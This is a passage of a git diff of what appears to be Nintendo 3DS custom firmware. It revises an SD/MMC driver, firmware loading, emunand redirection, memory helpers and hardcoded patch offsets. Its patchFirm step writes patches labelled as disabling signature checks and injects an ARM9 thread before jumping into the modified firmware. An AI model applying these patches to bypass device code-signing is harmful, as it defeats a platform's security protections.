||||||
sdmmc_send_command(&handleSD,0x10769,0x00FF8000 | temp);
|
{
|
||||||
|
sdmmc_send_command(&handelSD,0x10437,handelSD.initarg << 0x10);
|
||||||
|
sdmmc_send_command(&handelSD,0x10769,0x00FF8000 | temp);
|
||||||
temp2 = 1;
|
temp2 = 1;
|
||||||
} while ( !(handleSD.error & 1) );
|
} while ( !(handelSD.error & 1) );
|
||||||
|
|
||||||
} while((handleSD.ret[0] & 0x80000000) == 0);
|
//DEBUGPRINT(topScreen, "sd error ", handelSD.error, 10, 20 + 17*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
//DEBUGPRINT(topScreen, "sd ret: ", handelSD.ret[0], 10, 20 + 18*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
//DEBUGPRINT(topScreen, "count: ", count++, 10, 20 + 19*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
}
|
||||||
|
while((handelSD.ret[0] & 0x80000000) == 0);
|
||||||
//do
|
//do
|
||||||
//{
|
//{
|
||||||
// sdmmc_send_command(&handleSD,0x10437,handleSD.initarg << 0x10);
|
// sdmmc_send_command(&handelSD,0x10437,handelSD.initarg << 0x10);
|
||||||
// sdmmc_send_command(&handleSD,0x10769,0x00FF8000 | temp);
|
// sdmmc_send_command(&handelSD,0x10769,0x00FF8000 | temp);
|
||||||
//
|
//
|
||||||
|
// DEBUGPRINT(topScreen, "sd error ", handelSD.error, 10, 20 + 17*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
// DEBUGPRINT(topScreen, "sd ret: ", handelSD.ret[0], 10, 20 + 18*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
// DEBUGPRINT(topScreen, "count: ", count++, 10, 20 + 19*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
//}
|
//}
|
||||||
//while(!(handleSD.ret[0] & 0x80000000));
|
//while(!(handelSD.ret[0] & 0x80000000));
|
||||||
|
|
||||||
if(!((handleSD.ret[0] >> 30) & 1) || !temp)
|
if(!((handelSD.ret[0] >> 30) & 1) || !temp)
|
||||||
temp2 = 0;
|
temp2 = 0;
|
||||||
|
|
||||||
handleSD.isSDHC = temp2;
|
handelSD.isSDHC = temp2;
|
||||||
//handleSD.isSDHC = (handleSD.ret[0] & 0x40000000);
|
//handelSD.isSDHC = (handelSD.ret[0] & 0x40000000);
|
||||||
|
|
||||||
sdmmc_send_command(&handleSD,0x10602,0);
|
DEBUGPRINT(topScreen, "0x10602 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
if (handleSD.error & 0x4) return -1;
|
|
||||||
|
|
||||||
sdmmc_send_command(&handleSD,0x10403,0);
|
sdmmc_send_command(&handelSD,0x10602,0);
|
||||||
if (handleSD.error & 0x4) return -1;
|
if((handelSD.error & 0x4)) return -1;
|
||||||
handleSD.initarg = handleSD.ret[0] >> 0x10;
|
|
||||||
|
|
||||||
sdmmc_send_command(&handleSD,0x10609,handleSD.initarg << 0x10);
|
DEBUGPRINT(topScreen, "0x10403 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
if (handleSD.error & 0x4) return -1;
|
|
||||||
|
|
||||||
handleSD.total_size = calcSDSize((u8*)&handleSD.ret[0],-1);
|
sdmmc_send_command(&handelSD,0x10403,0);
|
||||||
handleSD.clk = 1;
|
if((handelSD.error & 0x4)) return -1;
|
||||||
|
handelSD.initarg = handelSD.ret[0] >> 0x10;
|
||||||
|
|
||||||
|
DEBUGPRINT(topScreen, "0x10609 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
|
||||||
|
sdmmc_send_command(&handelSD,0x10609,handelSD.initarg << 0x10);
|
||||||
|
if((handelSD.error & 0x4)) return -1;
|
||||||
|
|
||||||
|
handelSD.total_size = calcSDSize((uint8_t*)&handelSD.ret[0],-1);
|
||||||
|
handelSD.clk = 1;
|
||||||
setckl(1);
|
setckl(1);
|
||||||
|
|
||||||
sdmmc_send_command(&handleSD,0x10507,handleSD.initarg << 0x10);
|
DEBUGPRINT(topScreen, "0x10507 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
if (handleSD.error & 0x4) return -1;
|
|
||||||
|
|
||||||
sdmmc_send_command(&handleSD,0x10437,handleSD.initarg << 0x10);
|
sdmmc_send_command(&handelSD,0x10507,handelSD.initarg << 0x10);
|
||||||
if (handleSD.error & 0x4) return -1;
|
if((handelSD.error & 0x4)) return -1;
|
||||||
|
|
||||||
handleSD.SDOPT = 1;
|
DEBUGPRINT(topScreen, "0x10437 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
sdmmc_send_command(&handleSD,0x10446,0x2);
|
|
||||||
if (handleSD.error & 0x4) return -1;
|
|
||||||
|
|
||||||
sdmmc_send_command(&handleSD,0x1040D,handleSD.initarg << 0x10);
|
sdmmc_send_command(&handelSD,0x10437,handelSD.initarg << 0x10);
|
||||||
if (handleSD.error & 0x4) return -1;
|
if((handelSD.error & 0x4)) return -1;
|
||||||
|
|
||||||
sdmmc_send_command(&handleSD,0x10410,0x200);
|
DEBUGPRINT(topScreen, "0x10446 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
if (handleSD.error & 0x4) return -1;
|
|
||||||
handleSD.clk |= 0x200;
|
handelSD.SDOPT = 1;
|
||||||
|
sdmmc_send_command(&handelSD,0x10446,0x2);
|
||||||
|
if((handelSD.error & 0x4)) return -1;
|
||||||
|
|
||||||
|
DEBUGPRINT(topScreen, "0x1040D ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
|
||||||
|
sdmmc_send_command(&handelSD,0x1040D,handelSD.initarg << 0x10);
|
||||||
|
if((handelSD.error & 0x4)) return -1;
|
||||||
|
|
||||||
|
DEBUGPRINT(topScreen, "0x10410 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
|
||||||
|
sdmmc_send_command(&handelSD,0x10410,0x200);
|
||||||
|
if((handelSD.error & 0x4)) return -1;
|
||||||
|
handelSD.clk |= 0x200;
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void sdmmc_sdcard_init()
|
void sdmmc_sdcard_init()
|
||||||
{
|
{
|
||||||
|
DEBUGPRINT(topScreen, "sdmmc_sdcard_init ", handelSD.error, 10, 20 + 2*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
InitSD();
|
InitSD();
|
||||||
|
//SD_Init2();
|
||||||
|
//Nand_Init();
|
||||||
Nand_Init();
|
Nand_Init();
|
||||||
|
DEBUGPRINT(topScreen, "nand_res ", nand_res, 10, 20 + 3*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
SD_Init();
|
SD_Init();
|
||||||
|
DEBUGPRINT(topScreen, "sd_res ", sd_res, 10, 20 + 4*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
}
|
}
|
||||||
|
@ -1,12 +1,12 @@
|
|||||||
// Copyright 2014 Normmatt
|
#ifndef __SDMMC_H__
|
||||||
// Licensed under GPLv2 or any later version
|
#define __SDMMC_H__
|
||||||
// Refer to the license.txt file included.
|
|
||||||
|
|
||||||
#pragma once
|
#define TRUE 1
|
||||||
|
#define FALSE 0
|
||||||
|
|
||||||
#include "common.h"
|
#include <stdint.h>
|
||||||
|
|
||||||
#define SDMMC_BASE 0x10006000u
|
#define SDMMC_BASE 0x10006000
|
||||||
|
|
||||||
#define REG_SDCMD 0x00
|
#define REG_SDCMD 0x00
|
||||||
#define REG_SDPORTSEL 0x02
|
#define REG_SDPORTSEL 0x02
|
||||||
@ -36,11 +36,11 @@
|
|||||||
#define REG_SDOPT 0x28
|
#define REG_SDOPT 0x28
|
||||||
#define REG_SDFIFO 0x30
|
#define REG_SDFIFO 0x30
|
||||||
|
|
||||||
#define REG_SDDATACTL 0xd8
|
#define REG_DATACTL 0xd8
|
||||||
#define REG_SDRESET 0xe0
|
#define REG_SDRESET 0xe0
|
||||||
#define REG_SDPROTECTED 0xf6 //bit 0 determines if sd is protected or not?
|
#define REG_SDPROTECTED 0xf6 //bit 0 determines if sd is protected or not?
|
||||||
|
|
||||||
#define REG_SDDATACTL32 0x100
|
#define REG_DATACTL32 0x100
|
||||||
#define REG_SDBLKLEN32 0x104
|
#define REG_SDBLKLEN32 0x104
|
||||||
#define REG_SDBLKCOUNT32 0x108
|
#define REG_SDBLKCOUNT32 0x108
|
||||||
#define REG_SDFIFO32 0x10C
|
#define REG_SDFIFO32 0x10C
|
||||||
@ -102,70 +102,83 @@
|
|||||||
#define TMIO_MASK_READOP (TMIO_STAT1_RXRDY | TMIO_STAT1_DATAEND)
|
#define TMIO_MASK_READOP (TMIO_STAT1_RXRDY | TMIO_STAT1_DATAEND)
|
||||||
#define TMIO_MASK_WRITEOP (TMIO_STAT1_TXRQ | TMIO_STAT1_DATAEND)
|
#define TMIO_MASK_WRITEOP (TMIO_STAT1_TXRQ | TMIO_STAT1_DATAEND)
|
||||||
|
|
||||||
typedef struct mmcdevice {
|
#ifdef __cplusplus
|
||||||
u8* data;
|
extern "C" {
|
||||||
u32 size;
|
#endif
|
||||||
u32 error;
|
|
||||||
u16 stat0;
|
|
||||||
u16 stat1;
|
|
||||||
u32 ret[4];
|
|
||||||
u32 initarg;
|
|
||||||
u32 isSDHC;
|
|
||||||
u32 clk;
|
|
||||||
u32 SDOPT;
|
|
||||||
u32 devicenumber;
|
|
||||||
u32 total_size; //size in sectors of the device
|
|
||||||
u32 res;
|
|
||||||
} mmcdevice;
|
|
||||||
|
|
||||||
/*int sdmmc_sdcard_init();
|
typedef struct mmcdevice {
|
||||||
void sdmmc_sdcard_readsector(uint32_t sector_no, void *out);
|
uint8_t* data;
|
||||||
void sdmmc_sdcard_readsectors(uint32_t sector_no, uint32_t numsectors, void *out);
|
uint32_t size;
|
||||||
void sdmmc_sdcard_writesector(uint32_t sector_no, void *in);
|
uint32_t error;
|
||||||
void sdmmc_sdcard_writesectors(uint32_t sector_no, uint32_t numsectors, void *in);
|
uint16_t stat0;
|
||||||
void sdmmc_blktransferinit();*/
|
uint16_t stat1;
|
||||||
|
uint32_t ret[4];
|
||||||
|
uint32_t initarg;
|
||||||
|
uint32_t isSDHC;
|
||||||
|
uint32_t clk;
|
||||||
|
uint32_t SDOPT;
|
||||||
|
uint32_t devicenumber;
|
||||||
|
uint32_t total_size; //size in sectors of the device
|
||||||
|
uint32_t res;
|
||||||
|
} mmcdevice;
|
||||||
|
|
||||||
void sdmmc_sdcard_init();
|
void sdmmc_sdcard_init();
|
||||||
int sdmmc_sdcard_readsector(u32 sector_no, u8 *out);
|
int sdmmc_sdcard_readsector(uint32_t sector_no, uint8_t *out);
|
||||||
int sdmmc_sdcard_readsectors(u32 sector_no, u32 numsectors, u8 *out);
|
int sdmmc_sdcard_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out);
|
||||||
int sdmmc_sdcard_writesector(u32 sector_no, u8 *in);
|
int sdmmc_sdcard_writesector(uint32_t sector_no, uint8_t *in);
|
||||||
int sdmmc_sdcard_writesectors(u32 sector_no, u32 numsectors, u8 *in);
|
int sdmmc_sdcard_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in);
|
||||||
|
|
||||||
int sdmmc_nand_readsectors(u32 sector_no, u32 numsectors, u8 *out);
|
int sdmmc_nand_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out);
|
||||||
int sdmmc_nand_writesectors(u32 sector_no, u32 numsectors, u8 *in);
|
int sdmmc_nand_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in);
|
||||||
|
|
||||||
mmcdevice *getMMCDevice(int drive);
|
mmcdevice *getMMCDevice(int drive);
|
||||||
|
|
||||||
void InitSDMMC();
|
void InitSD();
|
||||||
int Nand_Init();
|
int Nand_Init();
|
||||||
int SD_Init();
|
int SD_Init();
|
||||||
|
|
||||||
static inline u16 sdmmc_read16(u16 reg) {
|
#ifdef __cplusplus
|
||||||
return *(vu16*)(SDMMC_BASE + reg);
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
|
//---------------------------------------------------------------------------------
|
||||||
|
static inline uint16_t sdmmc_read16(uint16_t reg) {
|
||||||
|
//---------------------------------------------------------------------------------
|
||||||
|
return *(volatile uint16_t*)(SDMMC_BASE + reg);
|
||||||
}
|
}
|
||||||
|
|
||||||
static inline void sdmmc_write16(u16 reg, u16 val) {
|
//---------------------------------------------------------------------------------
|
||||||
*(vu16*)(SDMMC_BASE + reg) = val;
|
static inline void sdmmc_write16(uint16_t reg, uint16_t val) {
|
||||||
|
//---------------------------------------------------------------------------------
|
||||||
|
*(volatile uint16_t*)(SDMMC_BASE + reg) = val;
|
||||||
}
|
}
|
||||||
|
|
||||||
static inline u32 sdmmc_read32(u16 reg) {
|
//---------------------------------------------------------------------------------
|
||||||
return *(vu32*)(SDMMC_BASE + reg);
|
static inline uint32_t sdmmc_read32(uint16_t reg) {
|
||||||
|
//---------------------------------------------------------------------------------
|
||||||
|
return *(volatile uint32_t*)(SDMMC_BASE + reg);
|
||||||
}
|
}
|
||||||
|
|
||||||
static inline void sdmmc_write32(u16 reg, u32 val) {
|
//---------------------------------------------------------------------------------
|
||||||
*(vu32*)(SDMMC_BASE + reg) = val;
|
static inline void sdmmc_write32(uint16_t reg, uint32_t val) {
|
||||||
|
//---------------------------------------------------------------------------------
|
||||||
|
*(volatile uint32_t*)(SDMMC_BASE + reg) = val;
|
||||||
}
|
}
|
||||||
|
|
||||||
static inline void sdmmc_mask16(u16 reg, const u16 clear, const u16 set) {
|
//---------------------------------------------------------------------------------
|
||||||
u16 val = sdmmc_read16(reg);
|
static inline void sdmmc_mask16(uint16_t reg, const uint16_t clear, const uint16_t set) {
|
||||||
|
//---------------------------------------------------------------------------------
|
||||||
|
uint16_t val = sdmmc_read16(reg);
|
||||||
val &= ~clear;
|
val &= ~clear;
|
||||||
val |= set;
|
val |= set;
|
||||||
sdmmc_write16(reg, val);
|
sdmmc_write16(reg, val);
|
||||||
}
|
}
|
||||||
|
|
||||||
static inline void setckl(u32 data)
|
static inline void setckl(uint32_t data)
|
||||||
{
|
{
|
||||||
sdmmc_mask16(REG_SDCLKCTL, 0x100, 0);
|
sdmmc_mask16(REG_SDCLKCTL,0x100,0);
|
||||||
sdmmc_mask16(REG_SDCLKCTL, 0x2FF, data & 0x2FF);
|
sdmmc_mask16(REG_SDCLKCTL,0x2FF,data&0x2FF);
|
||||||
sdmmc_mask16(REG_SDCLKCTL, 0x0, 0x100);
|
sdmmc_mask16(REG_SDCLKCTL,0x0,0x100);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
@ -11,66 +11,52 @@
|
|||||||
#include "emunand.h"
|
#include "emunand.h"
|
||||||
#include "crypto.h"
|
#include "crypto.h"
|
||||||
|
|
||||||
firmHeader *firmLocation = (firmHeader *)0x24000000;
|
const firmHeader *firmLocation = (firmHeader *)0x24000000;
|
||||||
const u32 firmSize = 0xF1000;
|
const u32 firmSize = 0xF3000;
|
||||||
firmSectionHeader *section;
|
firmSectionHeader *section;
|
||||||
u32 emuOffset = 0;
|
u32 emuOffset = 0;
|
||||||
u32 emuHeader = 0;
|
u32 emuHeader = 0;
|
||||||
u32 kversion = 0;
|
|
||||||
|
|
||||||
//Load firm into FCRAM
|
//Load firm into FCRAM
|
||||||
void loadFirm(int mode){
|
void loadFirm(void){
|
||||||
//Sysnand mode
|
|
||||||
if(mode == 0 || getEmunand(&emuOffset, &emuHeader) == 0){
|
|
||||||
//Read FIRM from NAND and write to FCRAM
|
|
||||||
nandFirm0((u8*)firmLocation, firmSize);
|
|
||||||
section = firmLocation->section;
|
|
||||||
kversion = 0x04; //TODO: make this not hard coded
|
|
||||||
arm9loader((u8*)firmLocation + section[2].offset, kversion);
|
|
||||||
}
|
|
||||||
//Emunand mode
|
|
||||||
else{
|
|
||||||
//Read FIRM from SD card and write to FCRAM
|
//Read FIRM from SD card and write to FCRAM
|
||||||
fileRead((u8*)firmLocation, "/rei/firmware.bin", firmSize);
|
fileRead((u8*)firmLocation, "/rei/firmware.bin", firmSize);
|
||||||
section = firmLocation->section;
|
section = firmLocation->section;
|
||||||
kversion = 0x18; //TODO: make this not hard coded
|
arm9loader((u8*)firmLocation + section[2].offset);
|
||||||
arm9loader((u8*)firmLocation + section[2].offset, kversion);
|
|
||||||
loadEmu();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
//Nand redirection
|
//Nand redirection
|
||||||
void loadEmu(void){
|
void loadEmu(void){
|
||||||
|
|
||||||
//Read emunand code from SD
|
//Read emunand code from SD
|
||||||
u32 code = emuCode(kversion);
|
u32 code = emuCode();
|
||||||
fileRead((u8*)code, "/rei/emunand/emunand.bin", 0);
|
fileRead(code, "/rei/emunand/emunand.bin", 0);
|
||||||
u32 *pos_offset = memsearch((u8*)code, "NAND", 0x218, 4);
|
u32 *pos_offset = memsearch(code, "NAND", 0x218, 4);
|
||||||
u32 *pos_header = memsearch((u8*)code, "NCSD", 0x218, 4);
|
u32 *pos_header = memsearch(code, "NCSD", 0x218, 4);
|
||||||
memcpy((void *)pos_offset, (void *)emuOffset, 4);
|
if (pos_offset && pos_header) {
|
||||||
memcpy((void *)pos_header, (void *)emuHeader, 4);
|
*pos_offset = emuOffset;
|
||||||
|
*pos_header = emuHeader;
|
||||||
|
}
|
||||||
|
fileWrite(code, "help.bin", 0x200);
|
||||||
//Add emunand hooks
|
//Add emunand hooks
|
||||||
memcpy((u8*)emuHook(1, kversion), nandRedir, sizeof(nandRedir));
|
memcpy((u8*)emuHook(1), nandRedir, sizeof(nandRedir));
|
||||||
memcpy((u8*)emuHook(2, kversion), nandRedir, sizeof(nandRedir));
|
memcpy((u8*)emuHook(2), nandRedir, sizeof(nandRedir));
|
||||||
}
|
}
|
||||||
|
|
||||||
//Patches
|
//Patches
|
||||||
void patchFirm(){
|
void patchFirm(){
|
||||||
|
|
||||||
//Part1: Set MPU for payload area
|
//Part1: Set MPU for payload area
|
||||||
memcpy((u8*)mpuCode(kversion), mpu, sizeof(mpu));
|
memcpy((u8*)mpuCode(), mpu, sizeof(mpu));
|
||||||
|
|
||||||
//Part2: Disable signature checks
|
//Part2: Disable signature checks
|
||||||
memcpy((u8*)sigPatch(1, kversion), sigPat1, sizeof(sigPat1));
|
memcpy((u8*)sigPatch(1), sigPat1, sizeof(sigPat1));
|
||||||
memcpy((u8*)sigPatch(2, kversion), sigPat2, sizeof(sigPat2));
|
memcpy((u8*)sigPatch(2), sigPat2, sizeof(sigPat2));
|
||||||
|
|
||||||
//Part3: Create arm9 thread
|
//Part3: Create arm9 thread
|
||||||
fileRead((u8*)threadCode(kversion), "/rei/thread/arm9.bin", 0);
|
fileRead((u8*)threadCode(), "/rei/thread/arm9.bin", 0);
|
||||||
if(kversion == 0x18){ //TODO: 0x18 only untill i can figure out why the hell this doesnt work on sysnand anymore.
|
memcpy((u8*)threadHook(1), th1, sizeof(th1));
|
||||||
memcpy((u8*)threadHook(1, kversion), th1, sizeof(th1));
|
memcpy((u8*)threadHook(2), th2, sizeof(th2));
|
||||||
memcpy((u8*)threadHook(2, kversion), th2, sizeof(th2));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
//Firmlaunchhax
|
//Firmlaunchhax
|
||||||
@ -109,9 +95,6 @@ void launchFirm(void){
|
|||||||
memcpy(section[2].address, (u8*)firmLocation + section[2].offset, section[2].size);
|
memcpy(section[2].address, (u8*)firmLocation + section[2].offset, section[2].size);
|
||||||
*(u32 *)0x1FFFFFF8 = (u32)firmLocation->arm11Entry;
|
*(u32 *)0x1FFFFFF8 = (u32)firmLocation->arm11Entry;
|
||||||
|
|
||||||
setKeys(kversion);
|
|
||||||
|
|
||||||
//Final jump to arm9 binary
|
//Final jump to arm9 binary
|
||||||
((void (*)())0x801B01C)();
|
((void (*)())0x801B01C)();
|
||||||
//((void (*)())firmLocation->arm9Entry)();
|
|
||||||
}
|
}
|
@ -9,7 +9,7 @@
|
|||||||
#include "types.h"
|
#include "types.h"
|
||||||
|
|
||||||
void loadSplash(void);
|
void loadSplash(void);
|
||||||
void loadFirm(int mode);
|
void loadFirm(void);
|
||||||
void loadEmu(void);
|
void loadEmu(void);
|
||||||
void patchFirm(void);
|
void patchFirm(void);
|
||||||
void launchFirm(void);
|
void launchFirm(void);
|
||||||
|
@ -10,16 +10,11 @@
|
|||||||
#include "firm.h"
|
#include "firm.h"
|
||||||
#include "draw.h"
|
#include "draw.h"
|
||||||
|
|
||||||
int mode = 1;
|
|
||||||
|
|
||||||
int main(){
|
int main(){
|
||||||
mountSD();
|
mountSD();
|
||||||
loadSplash();
|
loadSplash();
|
||||||
while(1){
|
loadFirm();
|
||||||
if(((~*(unsigned *)0x10146000) & 0xFFF) == (1 << 3)) break;
|
loadEmu();
|
||||||
else if(((~*(unsigned *)0x10146000) & 0xFFF) == ((1 << 3) | (1 << 1))) {mode = 0; break;}
|
|
||||||
} //Start = emu; Start+B = sys
|
|
||||||
loadFirm(mode);
|
|
||||||
patchFirm();
|
patchFirm();
|
||||||
launchFirm();
|
launchFirm();
|
||||||
return 0;
|
return 0;
|
||||||
|
@ -5,29 +5,38 @@
|
|||||||
*/
|
*/
|
||||||
#include "memory.h"
|
#include "memory.h"
|
||||||
|
|
||||||
void memcpy(u8 *dest, u8 *src, u32 size){
|
|
||||||
for (u32 i = 0; i < size; i++) dest[i] = src[i];
|
|
||||||
}
|
|
||||||
|
|
||||||
void memcpy32(u32 *dest, u32 *src, u32 size){
|
void memcpy32(u32 *dest, u32 *src, u32 size){
|
||||||
for (u32 i = 0; i < size; i++) dest[i] = src[i];
|
for (u32 i = 0; i < size; i++) dest[i] = src[i];
|
||||||
}
|
}
|
||||||
|
|
||||||
void memset(u8 *dest, u32 fill, u32 size){
|
void memcpy(void *dest, const void *src, u32 size){
|
||||||
for (u32 i = 0; i < size; i++) dest[i] = fill;
|
char *destc = (char *)dest;
|
||||||
|
const char *srcc = (const char *)src;
|
||||||
|
u32 i; for (i = 0; i < size; i++) {
|
||||||
|
destc[i] = srcc[i];
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
int memcmp(u8 *buf1, u8 *buf2, u32 size){
|
void memset(void *dest, int filler, u32 size){
|
||||||
for (u32 i = 0; i < size; i++) {
|
char *destc = (char *)dest;
|
||||||
int cmp = buf1[i] - buf2[i];
|
u32 i; for (i = 0; i < size; i++) {
|
||||||
if (cmp != 0) return cmp;
|
destc[i] = filler;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int memcmp(const void *buf1, const void *buf2, u32 size){
|
||||||
|
const char *buf1c = (const char *)buf1;
|
||||||
|
const char *buf2c = (const char *)buf2;
|
||||||
|
u32 i; for (i = 0; i < size; i++) {
|
||||||
|
int cmp = buf1c[i] - buf2c[i];
|
||||||
|
if (cmp) return cmp;
|
||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
u32 *memsearch(u8 *start_pos, u8 *search, u32 size, u32 size_search){
|
void *memsearch(void *start_pos, void *search, u32 size, u32 size_search){
|
||||||
for (u8 *pos = start_pos; pos <= start_pos + size - size_search; pos++) {
|
for (void *pos = start_pos + size - size_search; pos >= start_pos; pos--) {
|
||||||
if (memcmp(pos, search, size_search) == 0) return (u32*)pos;
|
if (memcmp(pos, search, size_search) == 0) return pos;
|
||||||
}
|
}
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
@ -8,10 +8,10 @@
|
|||||||
|
|
||||||
#include "types.h"
|
#include "types.h"
|
||||||
|
|
||||||
void memcpy(u8 *dest, u8 *src, u32 size);
|
void memcpy(void *dest, const void *src, u32 size);
|
||||||
void memcpy32(u32 *dest, u32 *src, u32 size);
|
void memcpy32(u32 *dest, u32 *src, u32 size);
|
||||||
void memset(u8 *dest, u32 fill, u32 size);
|
void memset(void *dest, int filler, u32 size);
|
||||||
int memcmp(u8 *buf1, u8 *buf2, u32 size);
|
int memcmp(const void *buf1, const void *buf2, u32 size);
|
||||||
u32 *memsearch(u8 *start_pos, u8 *search, u32 size, u32 size_search);
|
void *memsearch(void *start_pos, void *search, u32 size, u32 size_search);
|
||||||
|
|
||||||
#endif
|
#endif
|
128
source/patches.c
128
source/patches.c
@ -8,9 +8,8 @@
|
|||||||
|
|
||||||
#define FIRM 0x24000000
|
#define FIRM 0x24000000
|
||||||
|
|
||||||
#define KERNEL9 (FIRM + 0x66A00)
|
#define KERNEL9 (FIRM + 0x68000)
|
||||||
#define PROC9 (FIRM + 0x7D700)
|
#define PROC9 (FIRM + 0x7ED00)
|
||||||
#define v9_6_Offset 0x1600
|
|
||||||
|
|
||||||
#define K9_ADDR 0x08006000
|
#define K9_ADDR 0x08006000
|
||||||
#define P9_ADDR 0x08028000
|
#define P9_ADDR 0x08028000
|
||||||
@ -49,124 +48,37 @@ u8 th2[4] = {0xE0, 0xA6, 0x01, 0x08}; //0x0801A6E0
|
|||||||
**************************************************/
|
**************************************************/
|
||||||
|
|
||||||
//Where the emunand code is stored in firm
|
//Where the emunand code is stored in firm
|
||||||
u32 emuCode(u32 kver){
|
u32 emuCode(void){
|
||||||
u32 ret = NULL;
|
return KERNEL9 + (0x0801A4C0 - K9_ADDR);
|
||||||
switch(kver){
|
|
||||||
case 0x04:
|
|
||||||
case 0x0C:
|
|
||||||
case 0x0F:
|
|
||||||
ret = KERNEL9 + (0x0801A4C0 - K9_ADDR);
|
|
||||||
break;
|
|
||||||
case 0x18:
|
|
||||||
ret = KERNEL9 + v9_6_Offset + (0x0801A4C0 - K9_ADDR);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return ret;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
//Where thread code is stored in firm
|
//Where thread code is stored in firm
|
||||||
u32 threadCode(u32 kver){
|
u32 threadCode(void){
|
||||||
u32 ret = NULL;
|
return KERNEL9 + (0x0801A6E0 - K9_ADDR);
|
||||||
switch(kver){
|
|
||||||
case 0x04:
|
|
||||||
case 0x0C:
|
|
||||||
case 0x0F:
|
|
||||||
ret = KERNEL9 + (0x0801A6E0 - K9_ADDR);
|
|
||||||
case 0x18:
|
|
||||||
ret = KERNEL9 + v9_6_Offset + (0x0801A6E0 - K9_ADDR);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return ret;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
//Area of MPU setting code
|
//Area of MPU setting code
|
||||||
u32 mpuCode(u32 kver){
|
u32 mpuCode(void){
|
||||||
u32 ret = NULL;
|
return KERNEL9 + (0x0801B3D4 - K9_ADDR);
|
||||||
switch(kver){
|
|
||||||
case 0x04:
|
|
||||||
case 0x0C:
|
|
||||||
case 0x0F:
|
|
||||||
ret = KERNEL9 + (0x0801B3D4 - K9_ADDR);
|
|
||||||
break;
|
|
||||||
case 0x18:
|
|
||||||
ret = KERNEL9 + v9_6_Offset + (0x0801B3D4 - K9_ADDR);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return ret;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
//Offsets to redirect to thread code
|
//Offsets to redirect to thread code
|
||||||
u32 threadHook(u8 val, u32 kver){
|
u32 threadHook(u8 val){
|
||||||
u32 ret = NULL;
|
return val == 1 ?
|
||||||
switch(kver){
|
PROC9 + (0x08086140 - P9_ADDR):
|
||||||
case 0x04:
|
PROC9 + (0x08086174 - P9_ADDR);
|
||||||
ret = val == 1 ?
|
|
||||||
PROC9 + (0x0808690C - P9_ADDR) :
|
|
||||||
PROC9 + (0x08086940 - P9_ADDR);
|
|
||||||
break;
|
|
||||||
case 0x0C:
|
|
||||||
//TODO: find
|
|
||||||
break;
|
|
||||||
case 0x0F:
|
|
||||||
ret = val == 1 ?
|
|
||||||
PROC9 + (0x080860B0 - P9_ADDR) :
|
|
||||||
PROC9 + (0x080860E4 - P9_ADDR);
|
|
||||||
break;
|
|
||||||
case 0x18:
|
|
||||||
ret = val == 1 ?
|
|
||||||
PROC9 + v9_6_Offset + (0x08086140 - P9_ADDR) :
|
|
||||||
PROC9 + v9_6_Offset + (0x08086174 - P9_ADDR);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return ret;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
//Offsets to redirect to Emunand code
|
//Offsets to redirect to Emunand code
|
||||||
u32 emuHook(u8 val, u32 kver){ //latest only
|
u32 emuHook(u8 val){ //latest only
|
||||||
u32 ret = NULL;
|
return val == 1 ?
|
||||||
switch(kver){
|
PROC9 + (0x0807882C - P9_ADDR):
|
||||||
case 0x04:
|
PROC9 + (0x0807886C - P9_ADDR);
|
||||||
//???
|
|
||||||
break;
|
|
||||||
case 0x0C:
|
|
||||||
//???
|
|
||||||
break;
|
|
||||||
case 0x0F:
|
|
||||||
if(val == 1) ret = PROC9 + (0x0807882C - P9_ADDR);
|
|
||||||
else if(val == 2) ret = PROC9 + (0x0807886C - P9_ADDR);
|
|
||||||
break;
|
|
||||||
case 0x18:
|
|
||||||
if(val == 1) ret = PROC9 + v9_6_Offset + (0x0807882C - P9_ADDR);
|
|
||||||
else if(val == 2) ret = PROC9 + v9_6_Offset + (0x0807886C - P9_ADDR);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return ret;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
//Offsets to redirect to thread code
|
